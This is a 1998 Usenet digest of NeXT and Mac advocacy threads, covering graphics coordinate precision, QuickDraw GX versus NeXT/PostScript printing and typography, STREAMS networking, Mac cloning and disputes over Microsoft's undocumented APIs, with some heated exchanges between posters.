In article <B19D5C00-32C09@206.165.43.184>,
"Lawson English" <english@primenet.com> writes:
Scott Hess <scott@doubleu.com> said:
>Huh? So with a fixed point system, say I have a 30-foot square
>image and can just barely revolve the atoms. So if I try to
>describe a 30,000-foot square image, I can still resolve the
>atoms? I think not.
No, fixed doesn't allow you to go past 1/72" x 32000 pixels,
regardless, but anywhere in that range, it will keep the same
resolution.
Which is the point I'm attempting to make. Your ability to resolve is
not related to whether you're using floating point or fixed point,
it's related to the number of bits of precision your numbers have and
the arbitrary pixel size you're using to corrospond to "1". For the
same size device space, 32-bit floats will have less resolving power
than 32-bit fixed, but 64-bit floats (doubles) will have much _more_
resolving power. Where floats pull ahead, though, are in their
flexibility regarding various sizes of device spaces.
If your device pixel is a point (1/72 of an inch), then a 16.16
fixed-point system can deal with an area extending 30-odd feet from
the origin (about 75x75 square centered on the origin). Within that
region, you can distinguish points about 2/10,000,000 inches apart
(sorry, I'm not doing the conversion to metric).
If your device pixel is a point, then a 32-bit floating point system
can deal with an area about four miles square (or perhaps 2 miles
square), but with only pixel resolution. If your area is 75-feet
square, you can "only" distinguish points about 5/100,000 of an inch
apart. But if your area is 8.5"x11", you can distinguish points
6/10,000,000.
This all sounds pretty bizarre - after all, who'll ever want a 4 mile
printout? Well, what if you have a map that's 200 miles on a side,
who's coordinates are in feet? That's just shy of a billion points
across. With a fixed point system, you would have to scale _every_
point by dividing by (200*5128)/(8.5*72) [Quanta (feet) to cross map
by quanta (points) to cross page], which works out to dividing by
1,675. And retaining precision requires thought, because the source
coordinates require more bits (20) than the target provides for - so
you can't just load a coordinate into a fixed point element and divide
it. At a guess, I think you'd want to shift the coordinate left by 11
bits and divide by (1675<<11). Hard? No. Obvious?
With a floating system, you would just say "1 1675 div dup scale", and
then emit the rest of the coordinates as they are in the map's data
structure,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.next.system
Subject: Re: Shaking input box
Date: 5 Jun 98 11:31:09
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun5113109@slave.doubleu.com>
References: <6l6t5u$c3k$2@ns3.vrx.net> <6l8fil$ff4@ragnarok.en.uunet.de>
<6l8phs$emp$4@news.idiom.com>
In-reply-to: jcr.remove@this.phrase.idiom.com's message of 5 Jun 1998 12:50:04 GMT
In article <6l8phs$emp$4@news.idiom.com>,
jcr.remove@this.phrase.idiom.com (John C. Randolph) writes:
Holger Hoffstaette may or may not have said:
-> Might also be one of those bugs that are hidden in some x86
-> motherboards; Doom II also has a weird problem with some
-> motherboards generating excessive keystrokes, making your player
-> spin endlessly.
I've seen that problem with Doom also, and I would guess that it
has more to do with a key-up event getting lost. I've also had a
few wierd episodes with menus under OpenStep 4.2, where it appears
that the mouseup sometimes gets lost. Maybe there's a flake or two
in the event coalescing code?
You mean where you get menus popping up all over the place freaking
you out to no end?
The solution which generally works for me is to hit spacebar a couple
times. I logout so seldom that I've not seen the loginwindow problem
enough to figure out an approach to it - though I'd guess it's a
similar problem. I'd guess hitting some keys, moving the mouse, and
clicking all the mouse buttons might be a good start...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: draugr@aol.com (Draugr)
Newsgroups: comp.sys.next.advocacy
Subject: Evolve
Message-ID: <1998060604202300.AAA01154@ladder03.news.aol.com>
Date: 06 Jun 1998 04:20:23 GMT
Organization: AOL http://www.aol.com
The Church of Evolution is here to stay. You can visit us day or night at
http://www.geocities.com/SoHo/Square/1761/ be sure to book mark it because we
update it quite frequently. Please come in for a look and you can leave feed
back on the guest book or even e-mail me.
<a href="http://www.geocities.com/SoHo/Square/1761/">Click here to visit us</a>
From: bhahn@spam-spam.go-away.com (Brendan Hahn)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Arguments for STREAMS
Date: Fri, 05 Jun 1998 16:45:33 -0800
Organization: Transoft Corp
Message-ID: <bhahn-ya02408000R0506981645330001@news.transoft.net>
References: <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <Jim.Matthews-ya02408000R0506981546360001@news.dartmouth.edu> <6l9a41$6ue$3@ns3.vrx.net>
Mime-Version: 1.0
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maury@remove_this.istar.ca (Maury Markowitz) wrote:
> You miss many...
>
>3) it's API is by far the most used and supported.
...
>4) WinSOCK is enough alike Sockets
...
>5) Sockets is is increadibly stable and secure,
...
I think you missed the point...it's not whether to have socket APIs for
transport or not--there undoubtedly will be--but whether the underlying
network software system will be STREAMS-based or not. There's no
contradiction in having a STREAMS network architecture with a socket API on
top.
bhahn@transoft.mangle.net <-- unmangle to reply
From: Michel Coste <nospam@micmac.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Newsgroups please!!!!
Date: Sat, 6 Jun 1998 00:17:24 GMT
Organization: MiCMAC
Sender: news@micmac.com
Message-ID: <Eu3st0.98J@micmac.com>
References: <yefc1.906$ON2.7050352@news.rdc1.nj.home.com> <01bd8cc2$94d0d520$04387880@test1>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
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Cc: todd@NetSQ.com
This was written in comp.sys.next.advocacy
(<01bd8cc2$94d0d520$04387880@test1>) by "Todd Heberlein":
> I agree that the *.next.* groups should be retired. I just don't
> know what the proper replacement should be.
>
And the reason is??????
mc
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: How about something better than what we have now?
Date: 5 Jun 1998 15:15:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19DBC01-1D336@206.165.43.51>
References: <SCOTT.98Jun5112050@slave.doubleu.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
WIth GX, you'd plug the conversions into the various transform matrices of
your transform and viewports and deal with coordinates as always. It would
require more though up front to create the appropriate transforms, but once
that it was done, I think that you wouldn't need to deal with it again
-unless you wanted to print the entire map, of course.
Scott Hess <scott@doubleu.com> said:
>This all sounds pretty bizarre - after all, who'll ever want a 4 mile
>printout? Well, what if you have a map that's 200 miles on a side,
>who's coordinates are in feet? That's just shy of a billion points
>across. With a fixed point system, you would have to scale _every_
>point by dividing by (200*5128)/(8.5*72) [Quanta (feet) to cross map
>by quanta (points) to cross page], which works out to dividing by
>1,675. And retaining precision requires thought, because the source
>coordinates require more bits (20) than the target provides for - so
>you can't just load a coordinate into a fixed point element and divide
>it. At a guess, I think you'd want to shift the coordinate left by 11
>bits and divide by (1675<<11). Hard? No. Obvious?
>
>With a floating system, you would just say "1 1675 div dup scale", and
>then emit the rest of the coordinates as they are in the map's data
>structure,
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 12:25:14 GMT
Organization: P & L Systems
Message-ID: <6lbcfa$adf$8@ironhorse.plsys.co.uk>
References: <6l8u4t$8a$1@ns3.vrx.net> <B19DB822-EA73@206.165.43.51>
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Cc: english@primenet.com
In <B19DB822-EA73@206.165.43.51> "Lawson English" wrote:
> The biggest worry is the print architecture. In addition to allowing
> WYSIWYG pre-press, GX also allowed printer manufactuers to inform the
> end-user of special features of specific printers and gave them complete
> control of said features from within the standard GX printing dialog box.
>
Sounds just like the Print Panel in NEXTSTEP/OPENSTEP/Rhapsody.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 12:33:40 GMT
Organization: P & L Systems
Message-ID: <6lbcv4$adf$9@ironhorse.plsys.co.uk>
References: <6l973o$adf$7@ironhorse.plsys.co.uk> <B19D95D9-A7CFB@206.165.43.46>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Cc: english@primenet.com
In <B19D95D9-A7CFB@206.165.43.46> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
> >ATSUI and GX
>
> [vague comments that can't be interpreted snipt]
>
?? They were taken from the slides. What's not to interpret?
> Since you don't know what is in GX typography, you have no idea what they
> may or may not mean by "advanced typographical features," do you?
>
Not knowing about something has never stopped you from commenting, so keep
your observations on this one to yourself, hypocrite.
Do you know what's in ATSUI? No. So let's wait and see, shall we.
> There's 500 pages to the GX typographical manual.
>
BFD. Your point?
> How do YOU know what they mean when they say tha they are retaining
> "advanced typographical features?"
>
How do YOU?
> Define "typographical" in reference to GX Typography.
>
:of, relating to, or occurring or used in typography or typeset matter áa
typographic characterñ
> >Best of all, it looks like this is adhering to *standards*.
>
> The GXifier font utility has ALWAYS added the Unicode tables to Type 1
> fonts. That's how they "GXify" Type 1 fonts.
>
> In other words, GX has ALWAYS supported Unicode. Rather than "adhering to
> standards," all they are doing is removing support for non-standard stuff.
>
Sounds like a damn good idea to me.
> >We're still waiting for you to stop talking about it and start delivering.
>
> Health allowing, 0.1a will be out Real Soon Now.
>
Yippee doopy doop.
mmalc.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 08:23:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19EACC1-CEDD@206.165.43.165>
References: <6lbcfa$adf$8@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B19DB822-EA73@206.165.43.51> "Lawson English" wrote:
>> The biggest worry is the print architecture. In addition to allowing
>> WYSIWYG pre-press, GX also allowed printer manufactuers to inform the
>> end-user of special features of specific printers and gave them complete
>> control of said features from within the standard GX printing dialog
box.
>>
>Sounds just like the Print Panel in NEXTSTEP/OPENSTEP/Rhapsody.
But how extensible is the driver kit? Can you use it to inform the end-user
that they have unusual printer features available?
This isn't simply a dialog-box issue, but an issue over what the driver can
tell the end-user/application/extension. GX printing defines over 100
printing-related messages that can be sent from printer-driver to to
end-user and/or application and/or printing-extension. Each can be
overridden/extended at various points along the printing process.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 08:29:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19EAE32-125A2@206.165.43.165>
References: <6lbcv4$adf$9@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
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mmalcolm crawford <malcolm@plsys.co.uk> said:
>In <B19D95D9-A7CFB@206.165.43.46> "Lawson English" wrote:
>> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
>> >ATSUI and GX
>>
>> [vague comments that can't be interpreted snipt]
>>
>?? They were taken from the slides. What's not to interpret?
They're too vague. "Advanced typography" can mean anything.
>
>> Since you don't know what is in GX typography, you have no idea
what they
>> may or may not mean by "advanced typographical features," do you?
>>
>Not knowing about something has never stopped you from commenting, so
>keep
>your observations on this one to yourself, hypocrite.
Whether or not I'm guilty of the same thing doesn't invalidate my
point.
>
>Do you know what's in ATSUI? No. So let's wait and see, shall we.
>
Why wait? If there's an interesting feature that developers and
end-users like in GX that isn't making it into "advanced typography,"
why can't developers and end-users request that it should be based on
knowledge about what "advanced typography" means when referring to GX?
>> There's 500 pages to the GX typographical manual.
>>
>BFD. Your point?
That there's a LOT to "advanced typography" and your assumption that
it is all going into ATSUI may not be valid.
>
>
>> How do YOU know what they mean when they say tha they are retaining
>> "advanced typographical features?"
>>
>How do YOU?
>
I don't. Neither do you. That's the point.
>
>> Define "typographical" in reference to GX Typography.
>>
>:of, relating to, or occurring or used in typography or typeset
matter =B7a
>typographic character=D2
>
So, is the use of a 3x3 transform on a per-glyph basis to modify
layers of text-faces an "advanced typographical feature?" Why or why
not?
Ditto with the ability to edit 3x3 transformed text-blocks. Why or why
not?
>
>> >Best of all, it looks like this is adhering to *standards*.
>>
>> The GXifier font utility has ALWAYS added the Unicode tables to
Type 1
>> fonts. That's how they "GXify" Type 1 fonts.
>>
>> In other words, GX has ALWAYS supported Unicode. Rather than
"adhering
>to
>> standards," all they are doing is removing support for non-standard
stuff.
>>
>Sounds like a damn good idea to me.
>
Only if nothing of use has been lost. How do YOU know what has been
lost (if anything)? You've never bothered to check the manuals to see
if there is anything of value in GX Typography in the first place and
are content to let the current crop of engineers at Apple make all
decisions without any input on the subject.
>
>> >We're still waiting for you to stop talking about it and start
delivering.
>>
>> Health allowing, 0.1a will be out Real Soon Now.
>>
>Yippee doopy doop.
>
Yep.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 15:42:34 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6lbo1a$m4i$1@news.cs.tu-berlin.de>
References: <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165>
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"Lawson English" <english@primenet.com> writes:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>>In <B19DB822-EA73@206.165.43.51> "Lawson English" wrote:
>>> The biggest worry is the print architecture. In addition to allowing
>>> WYSIWYG pre-press, GX also allowed printer manufactuers to inform the
>>> end-user of special features of specific printers and gave them complete
>>> control of said features from within the standard GX printing dialog
>box.
>>>
>>Sounds just like the Print Panel in NEXTSTEP/OPENSTEP/Rhapsody.
>But how extensible is the driver kit? Can you use it to inform the end-user
>that they have unusual printer features available?
Bzzt. DriverKit has absolutely nothing to do with printer drivers.
Thank you for playing, next please!
[Description of convoluted mess with some good ideas deleted]
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: The Goldbergs <kalbah@concentric.net>
Newsgroups: comp.sys.mac,comp.sys.mac.advocacy,comp.sys.mac.misc,comp.sys.next,comp.sys.next.advocacy,comp.sys.next.misc
Subject: Could cloining be coming back?
Date: 06 Jun 1998 11:46:20 EDT
Organization: Concentric Internet Services
Message-ID: <3579649C.99FB832@concentric.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
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After reading about the iMac, I had some ideas about how cloning could
be coming back. Some intersting observations: The iMac's architecture
is derived from CHRP. CHRP does exist, with one problem: the MacOS
still requires Mac ROMs. So while anyone can make a PPC machine, it
can't run the MacOS.
The thing is, however, that MacOS 8 and higher DOES have CHRP support
(from what I've read on the net). It's a good thing it does, because the
iMac only has OpenFirmware ROM (no Mac toolbox). This means that the
MacOS will officially support the use of the sw ROM image that can be
installed. MacOSX/Rhapsody doesn't even use a ROM image as it doesn't
use Mac ROMs. Also, the iMac doesn't contain the ADB port, which is the
only one that Apple owns. In conclusion...
...Mac cloning may be revived! The main problem with cloning as it used
to be is that cloners had to get ROMs, ADB, and the motherboard from
Apple with the license. All clones had to be inspected by Apple to
ensure that its parts were being used exactly as they should. The whole
process turned out to be very unprofitable for Apple, and on top of it
the clones were simply eating away at Apple's own market share instead
of expanding the Mac market. So the alleged plan is to make Macs
popular again, with new users joining the flock. Then with the rapidly
expanding market, they could start licensing the MacOS/X/Rhapsody, and
ONLY have to license the sw. With more choice, even more people will
buy Macs/Mac compatibles. Microsoft's (and soon, Intel's) legal
troubles will make people look at the alternatives more as well. Power
users will be frustrated by the delays in Merced and look to G4s.
Consumers are always frustrated with how hard it is to use Windoze and
they'll also take another look.
On top of all that, who knows what other surprises Apple has coming down
the pike?
Just my 2 cents.
Rafi Goldberg
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 09:22:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19EBA8D-102CF@206.165.43.115>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Marcel Weiher <marcel@cs.tu-berlin.de> said:
>>mmalcolm crawford <malcolm@plsys.co.uk> said:
>>>>
>>>Sounds just like the Print Panel in NEXTSTEP/OPENSTEP/Rhapsody.
>
>>But how extensible is the driver kit? Can you use it to inform the
end-user
>>that they have unusual printer features available?
>
>Bzzt. DriverKit has absolutely nothing to do with printer drivers.
>Thank you for playing, next please!
>
>[Description of convoluted mess with some good ideas deleted]
Patiently:
OK, so the Driver Kit has nothing to do with printer drivers. Does the
Printer Panel + printer drivers of Rhapsody/NeXTstep allow extensions that
define custom behavior of the printer so that the end-user and/or
application and/or [equivalent of] printing extension can make use of this
custom behavior?
Does the Carbon printing API of MacOS X allow this?
Side-stepping the question with a cutesy "Bzzt" is still side-stepping the
question.
Does Rhapsody allow the customizable print-driver capabilities that GX
printing does under System 7.x?
Does the Carbon printing solution?
If not, where do you come off referring to GX's solution as a "convoluted
mess" when there isn't [I presume, given your side-stepping of the issue]
the equivalent functionality available in Rhaposdy/Carbon/MacOS X?
There's a lot that has been lost with GX and GX printing. The arrogance of
NeXT developers in presuming that THEY always have the best solution is
appalling.
The fact that NeXT engineers are now in charge of Apple and apparently have
the same attitude is also appalling.
I'm reminded of what one former Apple engineer who worked for Apple AFTER
the purchase said of the NeXT crowd now running Apple:
"They don't understand the Macintosh Way. They're on a holy mission to save
UNIX."
Sure seems like he was correct, sometimes.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 06 Jun 1998 09:18:35 -0700
Organization: Trilithon Research and Trading
Message-ID: <35796BDB.2AEDD69@trilithon.com>
References: <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Lawson English wrote:
<<<< whacka whacka whacka >>>>
* But how extensible is the driver kit? Can you use it
* to inform the end-user that they have unusual printer
* features available?
It's not a driver kit issue.
* This isn't simply a dialog-box issue, but an issue over
* what the driver can tell the end-user/application/extension.
* GX printing defines over 100 printing-related messages that
* can be sent from printer-driver to end-user and/or application
* and/or printing-extension. Each can be overridden/extended at
* various points along the printing process.
This exercise was the impetus for PPD files. You take the
description of printer-specific features out into files
that the printing system can interrogate. With PS fading
out, the PPD formats will likely need to be extended to
support non-PS printers.
Cheers,
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://web.trilithon.com
=============================================================
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 6 Jun 1998 09:35:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B19EBDA9-1BDD5@206.165.43.115>
References: <35796BDB.2AEDD69@trilithon.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Henry McGilton <henry@trilithon.com> said:
Lawson English <english@primenet.com> said:
>
> * This isn't simply a dialog-box issue, but an issue over
> * what the driver can tell the end-user/application/extension.
> * GX printing defines over 100 printing-related messages that
> * can be sent from printer-driver to end-user and/or application
> * and/or printing-extension. Each can be overridden/extended at
> * various points along the printing process.
>This exercise was the impetus for PPD files. You take the
>description of printer-specific features out into files
>that the printing system can interrogate. With PS fading
>out, the PPD formats will likely need to be extended to
>support non-PS printers.
That doesn't sound very dynamic. What if there is a feature available on a
printer that requires a new kind of user-interaction? Does the PPD solution
provide for extensions to the printer-interface, including the display of
new information and new kinds of controls to manipulate the unique
functionality?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <3578c183.0@news>
Control: cancel <3578c183.0@news>
Date: 06 Jun 1998 19:58:18 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.3578c183.0@news>
Sender: nunya@baker.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: rlove@antispam.neosoft.com (Robert B. Love )
Newsgroups: comp.sys.next.advocacy
Subject: Re: Any chance OPENSTEP for Mach on G3?
Date: 6 Jun 1998 21:38:09 GMT
Organization: NeoSoft, Inc.
Message-ID: <6lccs1$dff$1@uuneo.neosoft.com>
References: <6l9gma$shl$1@nntp.Stanford.EDU>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: zalta@mally.Stanford.EDU
In <6l9gma$shl$1@nntp.Stanford.EDU> Edward N. Zalta wrote:
> Are there other people out there, like myself, who prefer the OPENSTEP
> GUI to the Mac, and who run such programs as:
> LaTeX/TeX/TeXView.app, Mathematica, Emacs frontend, NXHosting on
[deleted]
> I use these apps (among others) all the time on my NeXT Color Turbo
> (with 128MB RAM). I would like to get a faster machine, based on
> Motorola G3 technology, that has these features of OPENSTEP and
> preserves the GUI. Are there enough of us out there to organize a
> campaign, or is that absolutely positively dead in the water?
Well, I sure would but I bet you wouldn't sell 500 such machines.
Us diehard NeXTers are right up there with the California Condor.
Only a few left, and the population ain't growing.
I wonder if encouraging GNUstep wouldn't be a better route.
----------------------------------------------------------------
Bob Love MIME & NeXT Mail OK
rlove@neosoft.com PGP key available
----------------------------------------------------------------
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 06 Jun 1998 22:15:54 GMT
Organization: gte.net
Message-ID: <6lcecq$2g0$1@gte1.gte.net>
References: <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com> <EtuyGM.LCH@midway.uchicago.edu> <6l1vr0$ssg$4@gte2.gte.net> <EtzLzn.6x8@midway.uchicago.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Wed, 3 Jun 1998 17:59:47 GMT, someone claiming to be Pixel wrote:
>>>Besides that confession, there are also the 'hidden OS API's' that
>>>Microsoft developers by some strange reason get long before third party
>>>developers get them. For example, when Internet Explorer 3.0 first came
>>>out, and it was rated as faster than Netscape Navigator, it was found out
>>>that MS had built in API's to make Internet Explorer faster directly into
>>>Windows 95. And they neglected to let anyone else know about it. Big
>>>surprise.
>
>Here is some evidence of hidden API's built into Windows NT.
>www.csn.net/~bediger/nt.sekrits.html
The existence of undocumented APIs was not in question. The claim was
that IE3 made use of these to be faster than NS. Any proof of that?
Didn't think so.
>> And this is documented where? C'mon guys, you want me to stop asking
>> for proof. I will when you start supplying it.
>This is documented all over the Web, in court cases, in magazines, in tons
>of places. An Altavista search on "Steve Ballmer" and "chinese wall" hit
>18 matches. I'll give you a couple of them
>
>www.sun.com/ACIS/WSGR.txt
A brief from Gary Reback, which mentions a chinese wall, no quote from
Steve here...
>www.smartbooks.com/bw705ovrdrvchp.htm
Ad for Overdrive. No quote from Steve.
>www.usis.usemb.se/sft/sf14107.htm
An editorial in favour of the DOJ action, but no quote from Steve.
Okay, I've gone over three of your links, none of which offered any
support for Steve Ballmer disavowing the chinese wall.
Could you read the links you are supplying next time to be sure that
they support your point? Thanks.
<snip URLs probably don't have any quote, either.)
>>>In addition, back when MS Office didn't have a stranglehold over everyone,
>>>and MS still insisted that there was a 'chinese wall', API's were built
>>>into Windows to help MS productivity apps that were not released to third
>>>party developers.
>>>
>>>All of this is documented by Microsoft and various other third parties.
>> Where?
>I've given you a lot of leads. Why don't you open your eyes for a change?
None of which support your position. I thought my request was fairly
clear.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: Sat, 6 Jun 1998 17:19:40 -0500
Organization: KAOS
Message-ID: <19980606171940596476@sdn-ts-006txhousp11.dialsprint.net>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net> <rmcassid-0206981358190001@dante.eng.uci.edu> <3574976D.A420646B@nstar.net> <19980603030356479711@[168.191.177.137]> <35757700.6C6076C0@nstar.net> <slrn6nde4d.79m.sal@panix3.panix.com> <35770C05.C356DEC5@nstar.net>
Michael J. Peck wrote:
> Salvatore Denaro wrote:
> >
> > [MJP:]
> > >I don't know what I'm supposed to take from this...
> >
> > That he is one of the 99.99% of computer users that is not a techie.
>
> I doubt it's anywhere near that high, depending on your definition of
> 'techie'. 'Techies' are common enough to spawn Wired, TechWeb, and other
> vainly-named publications. They're also common enough to visit Tom's
> Hardware Page in incredible numbers, not to mention AlternativeCPU,
> AnandTech, and similar 'techie' websites. They're common enough to fuel
> the Linux explosion, the Free Software explosion, and the growing
> discontent toward Microsoft Windows.
I agree it's not as high as 99.99%. I also disagree with what I thought
was your original implication that it's as low as 2%. Somewhere in the
middle (though closer to 99.99 than 2), I'd say, thus IMO not in itself
a primary cause for Apple's fall from consumer grace.
> Ironic, I think. It seems to me that people who spurn the 'techie' label
> are actually moving to Windows in droves. It's only the 'alternative'
> market, largely composed of the very 'techie' types you mention, who
> take the time to explore *OS choices*.
I admit this is a good example of irony. The OS is just one of the many
choices most PC buyers don't want to deal with, making Apple's plug-in-
and-go hardware a harder sell than it should be.
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 6 Jun 1998 15:22:55 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1da7iip.s89ctl695h6oN@carina37.wco.com>
